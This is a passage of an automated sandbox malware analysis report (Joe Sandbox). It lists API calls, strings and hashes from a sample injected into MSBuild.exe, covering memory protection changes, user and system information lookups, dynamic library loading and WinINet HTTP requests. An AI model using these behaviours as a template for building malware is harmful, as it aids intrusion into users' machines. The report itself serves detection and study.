Part of subcall function 003E4EBF: _Yarn.LIBCPMT ref: 003E4EDE
Part of subcall function 003E4EBF: _Yarn.LIBCPMT ref: 003E4F02

Strings

bad locale name, xrefs: 003E162C

Memory Dump Source

Source File: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Yarnstd::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 1908188788-1405518554
Opcode ID: dc776dc7e24fd409396fc4abc628f220bb80a9112c096355a34ce8b35cd1784d
Instruction ID: 212bca9fac1736f068935d19ff7f23f0f1fa7fd6cd55d20078617bc5e71ec9e9
Opcode Fuzzy Hash: dc776dc7e24fd409396fc4abc628f220bb80a9112c096355a34ce8b35cd1784d
Instruction Fuzzy Hash: 9FF017B1506B909E83319F7B8481447FBE4BE2C3207948E6FE0DEC3A52D734A504CB6A

Function 00415260 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMTD ref: 004152A3
__CxxThrowException@8.LIBCMT ref: 004152B1

Strings

->*, xrefs: 004152A8

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::bad_exception::bad_exception
String ID: ->*
API String ID: 953301-1437261322
Opcode ID: 26b8a2323d556d666385f0909961110e14d59e8b8bd805d6e0333a9808a04d99
Instruction ID: 98ce9ea3e91c811e91c349db745bdd3bc3d8f2c3b96928cf7af96d2af941d66b
Opcode Fuzzy Hash: 26b8a2323d556d666385f0909961110e14d59e8b8bd805d6e0333a9808a04d99
Instruction Fuzzy Hash: A6F05471900218EBDF20EFA4D9457DD7BB4EB44349F1084AAEC056B281D7789B94DB8A

Function 004152C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMONLIBRARYCODE

Download Yara Rule

APIs

std::bad_exception::bad_exception.LIBCMTD ref: 004152FD
__CxxThrowException@8.LIBCMT ref: 0041530B

Strings

->*, xrefs: 00415302

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::bad_exception::bad_exception
String ID: ->*
API String ID: 953301-1437261322
Opcode ID: 9c194493c8b617a1d2441c14efc1795c0e94b442bad04bea0a4ae3d0cbb70917
Instruction ID: b1defee16948257bb52691513d240c435576c51aee6f6b84bb2b2629fa1881da
Opcode Fuzzy Hash: 9c194493c8b617a1d2441c14efc1795c0e94b442bad04bea0a4ae3d0cbb70917
Instruction Fuzzy Hash: FBF05E7090021CEBDF10EFA4D8497EEBB74BB04355F60855AEC29172C1D7B89A94CB9A

Function 00427ACD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00427AD9

Part of subcall function 00427E7F: __getptd_noexit.LIBCMT ref: 00427E82
Part of subcall function 00427E7F: __amsg_exit.LIBCMT ref: 00427E8F

_abort.LIBCMT ref: 00427AFB

Strings

tual displacement map', xrefs: 00427ACF

Memory Dump Source

Source File: 00000000.00000002.2126146391.000000000040C000.00000004.00000001.01000000.00000003.sdmp, Offset: 003E0000, based on PE: true

Associated: 00000000.00000002.2126069903.00000000003E0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126094254.00000000003E1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126127801.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126179012.0000000000459000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126194274.000000000045A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2126208022.000000000045B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3e0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd__getptd_noexit_abort
String ID: tual displacement map'
API String ID: 3829980040-1397722273
Opcode ID: de52ca0fc03ebf15f4e5c111f4f7036d9ec0a17cd7700b55354672eb81f96ae5
Instruction ID: cb21f21fddbbf3118f94b3909366fa314a05a1a7432f36df059041d8844478b1
Opcode Fuzzy Hash: de52ca0fc03ebf15f4e5c111f4f7036d9ec0a17cd7700b55354672eb81f96ae5
Instruction Fuzzy Hash: B2D0A73034563096DA00BBF5B84271C31602F50365FD641CE6050960E1CFFC8A00963B

Analysis Process: MSBuild.exePID: 5580, Parent PID: 5368COMMON

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0.6%
Total number of Nodes:	1529
Total number of Limit Nodes:	3

Executed Functions

Function 004045C0 Relevance: 112.1, APIs: 34, Strings: 30, Instructions: 114
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045CC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045D7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045E2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045ED
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 004045F8
GetProcessHeap.KERNEL32(00000000,?,?,0000000F,?,004169FB), ref: 00404607
RtlAllocateHeap.NTDLL(00000000,?,0000000F,?,004169FB), ref: 0040460E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040461C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404627
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404632
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040463D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404648
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040465C
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404667
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404672
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 0040467D
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.,?,0000000F,?,004169FB), ref: 00404688
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046B1
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046BC
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046C7
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046D2
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 004046DD
strlen.MSVCRT ref: 004046F0
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404718
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404723
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040472E
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404739
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404744
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404754
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040475F
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 0040476A
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404775
lstrlenA.KERNEL32(The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.), ref: 00404780
VirtualProtect.KERNELBASE(?,00000004,00000100,00000000), ref: 0040479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040475A
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045E8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404729
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404713
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040474F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045C7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404770
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046C2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404617
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004046AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0040462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 004045DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00404622

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrlen$Heap$AllocateProcessProtectVirtualstrlen
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction ID: ff82eb6acc97b20701c4bcbd3dbf8f3289274c2dbbe7f73b68b52ee208cac3fc
Opcode Fuzzy Hash: 60c508d88f0449400eea4780d1c2a55aa70dbc5de1ae23165444dfbd3f1c6033
Instruction Fuzzy Hash: 1D419979740624EBC718AFE5FC8DB987F71AB4C712BA0C062F90296190C7B9D5119B3E

Function 00406280 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetOpenA.WININET(00420DFE,00000001,00000000,00000000,00000000,00420DFB), ref: 004062E1
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00406335
HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 00406385
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004063D1
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0040646D

Strings

GET, xrefs: 0040637C
ERROR, xrefs: 00406407
ERROR, xrefs: 004064C9

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Internet$??2@$HttpOpenRequest$ConnectCrackFileReadSend
String ID: ERROR$ERROR$GET
API String ID: 1095854997-2509457195
Opcode ID: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction ID: 4c22ad93782da972e928cd377ef6cc95e5ae9f8df18decad01f21c65d1bf8a87
Opcode Fuzzy Hash: 460f558118b4083d41359c156125f26ce9f22fb94ebe107836e013dd45d71b95
Instruction Fuzzy Hash: C1718075A00218ABDB24EFE0DC49BEE7775FB44700F10816AF50A6B1D0DBB86A85CF56

Function 00417850 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction ID: ff9f3fb77af2488786a742b30a7a77c7a6675fe12b7944dcc27658a291e6e945
Opcode Fuzzy Hash: 98be1400a0f13b17dcfec3579e84c662f1c1c1bd9e35413721d24a5daf15813c
Instruction Fuzzy Hash: 08F04FB5D44208AFC710DFD8DD49BAEBBB8EB05711F10025AFA05A2680C77815448BA2

Function 00401160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,00416A17,00420AEF), ref: 0040116A

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction ID: a8b5f4e8781596c88644d8aa2969b9d6e82c50da38cf1cac8898b5ca04c80d98
Opcode Fuzzy Hash: 5e169adc815d3d5e963ffc5450d2c06f987a57c1971b55ed15331b47ed99491e
Instruction Fuzzy Hash: F4D05E7C94030CEBCB14EFE0D9496DDBB79FB0D311F001559ED0572340EA306481CAA6

Function 00419C10 Relevance: 18.2, APIs: 8, Strings: 2, Instructions: 684
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A03D
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A04E
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A060
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A072
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A083
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A095
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0A7
LoadLibraryA.KERNELBASE(?,?,00415CA3,?,00000034,00000064,00416600,?,0000002C,00000064,004165A0,?,00000030,00000064,Function_00015AD0,?), ref: 0041A0B8

Strings

InternetSetOptionA, xrefs: 0041A5E5
HttpQueryInfoA, xrefs: 0041A5FC

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 1029625771-1775429166
Opcode ID: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction ID: b148544ec257a615b167952e2e9b89b3667e8f5620887ecf26b211dda149ff7d
Opcode Fuzzy Hash: 62050089a8b8835eafd1d37742ef1b979ae5b20786234f8d6d940be7715c0619
Instruction Fuzzy Hash: 02621DBD5C0200BFD364DFE8EE889A63BFBF74E701714A61AE609C3264D6399441DB52

Function 00404880 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 479
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 004047EA
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404801
Part of subcall function 004047B0: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404818
Part of subcall function 004047B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404849

InternetCloseHandle.WININET(00000000), ref: 00404EAD

Strings

", xrefs: 00404D33
", xrefs: 00404BF2
------, xrefs: 004049BD
------, xrefs: 00404C69
------, xrefs: 00404B28

Memory Dump Source

Source File: 00000003.00000002.2143899028.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ??2@$Internet$CloseCrackHandle
String ID: "$"$------$------$------
API String ID: 3842476067-2180234286
Opcode ID: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction ID: 3f466b8612cc2db17a5d9ea90efc92506b51061f54fe9a8e3d974c375c306076
Opcode Fuzzy Hash: 8871a7e0db803886412357a9f8af80b172f418654194f3178fcef7dc839d38c6
Instruction Fuzzy Hash: 10124EB1911118AADB14FB91DD92FEEB339AF14314F50419EB10672091DF382F9ACF6A

Function 004047B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

